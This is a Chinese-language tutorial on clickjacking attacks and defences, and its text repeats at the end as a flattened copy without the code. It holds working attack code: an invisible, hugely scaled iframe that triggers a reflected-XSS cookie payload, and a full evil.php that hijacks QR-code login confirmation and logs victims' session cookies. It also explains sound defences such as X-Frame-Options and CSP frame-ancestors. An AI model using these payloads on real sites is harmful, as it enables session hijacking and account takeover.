Web点击劫持攻击技术详解与防御方案

1. 点击劫持概述

点击劫持(Clickjacking)是一种视觉欺骗攻击技术，攻击者通过透明或半透明的iframe层覆盖在看似无害的网页上，诱使用户在不知情的情况下点击隐藏的恶意元素。

基本特点：

利用iframe嵌套目标页面
通过CSS控制iframe的透明度和位置
诱导用户点击看似正常的页面元素
绕过常规的XSS和CSRF防护措施

2. 点击劫持攻击实例分析

2.1 点击劫持+交互式XSS攻击

攻击场景：

存在一个反射型XSS漏洞，触发条件复杂
需要用户点击特定小按钮(16px×15px)才能触发

攻击步骤：

构造恶意iframe：

<iframe src="https://www.xxx.com/aaa?returnUrl=javascript:(eval)(name)//" 
        name="(alert)(document.cookie)" 
        frameborder="no" border="0" 
        marginwidth="0" marginheight="0" 
        scrolling="no"></iframe>

CSS放大技术：

iframe {
    position: fixed; /* 绝对定位 */
    top: calc(-13px * 100); 
    left: calc(-20px * 100); /* 按钮左上各有20px、13px空隙 */
    transform-origin: 0 0 0; /* 放大中心设为左上角 */
    transform: scale(100); /* 放大100倍*/
}

iframe透明化：

iframe {
    filter: alpha(Opacity=0); /* IE8之前 */
    -moz-opacity: 0; /* 火狐 */
    -webkit-opacity: 0; /* webkit内核 */
    -khtml-opacity: 0; /* KHTML内核 */
    -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /* IE8之后 */
    opacity: 0; /* 标准属性 */
}

攻击效果：

将原本微小的按钮放大覆盖整个页面
透明iframe下用户点击任意位置实际点击了放大后的按钮
触发XSS执行恶意代码

2.2 点击劫持+二维码登录攻击

攻击场景：

网站支持扫码登录功能
手机APP扫码后打开确认页面(url-A)
点击确认后网页端即可登录
确认页面无点击劫持防护

攻击流程：

构造恶意页面(evil.php)：

<?php
$key = $_REQUEST['key'];
if(!$key){
    // 从二维码登录接口获取登录信息
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, 'https://www.xxx.com/getLoginUrl');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HTTPGET, 1);
    $o = curl_exec($ch);
    curl_close($ch);
    
    // 解析获取登录url和key
    $json=json_decode($o,true);
    $key = $json['data']['oauthKey'];
    $url = $json['data']['url'];
    
    // 输出点击劫持页面
    echo sprintf('<html><head></head><body height=100%% width=100%%>
        <div><iframe src="%s" height="100%%" width="100%%" frameborder="no" 
        border="0" marginwidth="0" marginheight="0" scrolling="no" 
        allowtransparency="yes" style="position:fixed;transform-origin: 0 0 0;
        z-index:999;transform: scale(200);left:calc(-500px * 200);
        top:calc(-600px * 200);"></iframe></div>
        <script>function check(){
        document.body.appendChild(document.createElement("img")).src="evil.php?key=%s&r="+Math.random();
        } setInterval("check()",1000);</script></body></html>',$url,$key);
}else{
    // 检查登录状态并记录cookie
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, 'https://www.xxx.com/getLoginInfo');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HTTPGET, 0);
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, 'oauthKey='.$key);
    $o = curl_exec($ch);
    curl_close($ch);
    
    // 记录日志
    $msg = '<time>'.date("Y-m-d H:i:s").'</time><key>'.$key.'</key><data>'.$o.'</data>'.PHP_EOL;
    if (strpos($o,'Set-Cookie',0)) file_put_contents("log.txt",$msg,FILE_APPEND);
}
?>

攻击过程：

用户访问evil.php被诱导点击
透明iframe放大200倍覆盖整个页面
用户点击任意位置即确认登录
攻击者通过key获取用户会话cookie

3. 点击劫持攻击技术要点

3.1 CSS放大技术

transform: scale(N) - 放大N倍
transform-origin - 设置放大基准点
position: fixed - 固定定位
top/left计算 - 精确定位目标元素

3.2 透明化技术

多浏览器兼容的透明方案
保持iframe功能但不可见
可调整透明度增强欺骗性

3.3 元素重叠技术

将多个需要点击的元素重叠
通过放大使重叠区域覆盖整个页面
单次点击触发多个动作

4. 点击劫持防御方案

4.1 服务端防御

X-Frame-Options头：
- DENY - 禁止任何框架嵌套
- SAMEORIGIN - 只允许同源框架
- ALLOW-FROM uri - 允许指定来源框架

Content-Security-Policy头：

Content-Security-Policy: frame-ancestors 'none'  # 禁止嵌套
Content-Security-Policy: frame-ancestors 'self'  # 只允许同源嵌套

框架破坏脚本：

if (top != self) {
    top.location = self.location;
}
// 或
<style id="antiClickjack">body{display:none !important;}</style>
<script>
   if (self === top) {
       var antiClickjack = document.getElementById("antiClickjack");
       antiClickjack.parentNode.removeChild(antiClickjack);
   } else {
       top.location = self.location;
   }
</script>

4.2 关键操作防护

敏感操作增加二次确认
使用验证码或令牌
记录异常操作日志

4.3 其他防御措施

限制iframe的sandbox属性
避免使用透明iframe
关键页面避免依赖用户点击

5. 总结

点击劫持是一种危害严重但常被忽视的攻击方式，结合XSS或敏感操作可造成严重后果。防御需要服务端和客户端配合，主要依靠HTTP响应头和框架破坏技术。开发人员应对所有敏感页面实施点击劫持防护，安全测试中也需要将点击劫持作为常规测试项。

Web点击劫持攻击技术详解与防御方案 1. 点击劫持概述点击劫持(Clickjacking)是一种视觉欺骗攻击技术，攻击者通过透明或半透明的iframe层覆盖在看似无害的网页上，诱使用户在不知情的情况下点击隐藏的恶意元素。基本特点：利用iframe嵌套目标页面通过CSS控制iframe的透明度和位置诱导用户点击看似正常的页面元素绕过常规的XSS和CSRF防护措施 2. 点击劫持攻击实例分析 2.1 点击劫持+交互式XSS攻击攻击场景：存在一个反射型XSS漏洞，触发条件复杂需要用户点击特定小按钮(16px×15px)才能触发攻击步骤：构造恶意iframe ： CSS放大技术： iframe透明化：攻击效果：将原本微小的按钮放大覆盖整个页面透明iframe下用户点击任意位置实际点击了放大后的按钮触发XSS执行恶意代码 2.2 点击劫持+二维码登录攻击攻击场景：网站支持扫码登录功能手机APP扫码后打开确认页面(url-A) 点击确认后网页端即可登录确认页面无点击劫持防护攻击流程：构造恶意页面(evil.php) ：攻击过程：用户访问evil.php被诱导点击透明iframe放大200倍覆盖整个页面用户点击任意位置即确认登录攻击者通过key获取用户会话cookie 3. 点击劫持攻击技术要点 3.1 CSS放大技术 transform: scale(N) - 放大N倍 transform-origin - 设置放大基准点 position: fixed - 固定定位 top/left 计算 - 精确定位目标元素 3.2 透明化技术多浏览器兼容的透明方案保持iframe功能但不可见可调整透明度增强欺骗性 3.3 元素重叠技术将多个需要点击的元素重叠通过放大使重叠区域覆盖整个页面单次点击触发多个动作 4. 点击劫持防御方案 4.1 服务端防御 X-Frame-Options头： DENY - 禁止任何框架嵌套 SAMEORIGIN - 只允许同源框架 ALLOW-FROM uri - 允许指定来源框架 Content-Security-Policy头：框架破坏脚本： 4.2 关键操作防护敏感操作增加二次确认使用验证码或令牌记录异常操作日志 4.3 其他防御措施限制iframe的sandbox属性避免使用透明iframe 关键页面避免依赖用户点击 5. 总结点击劫持是一种危害严重但常被忽视的攻击方式，结合XSS或敏感操作可造成严重后果。防御需要服务端和客户端配合，主要依靠HTTP响应头和框架破坏技术。开发人员应对所有敏感页面实施点击劫持防护，安全测试中也需要将点击劫持作为常规测试项。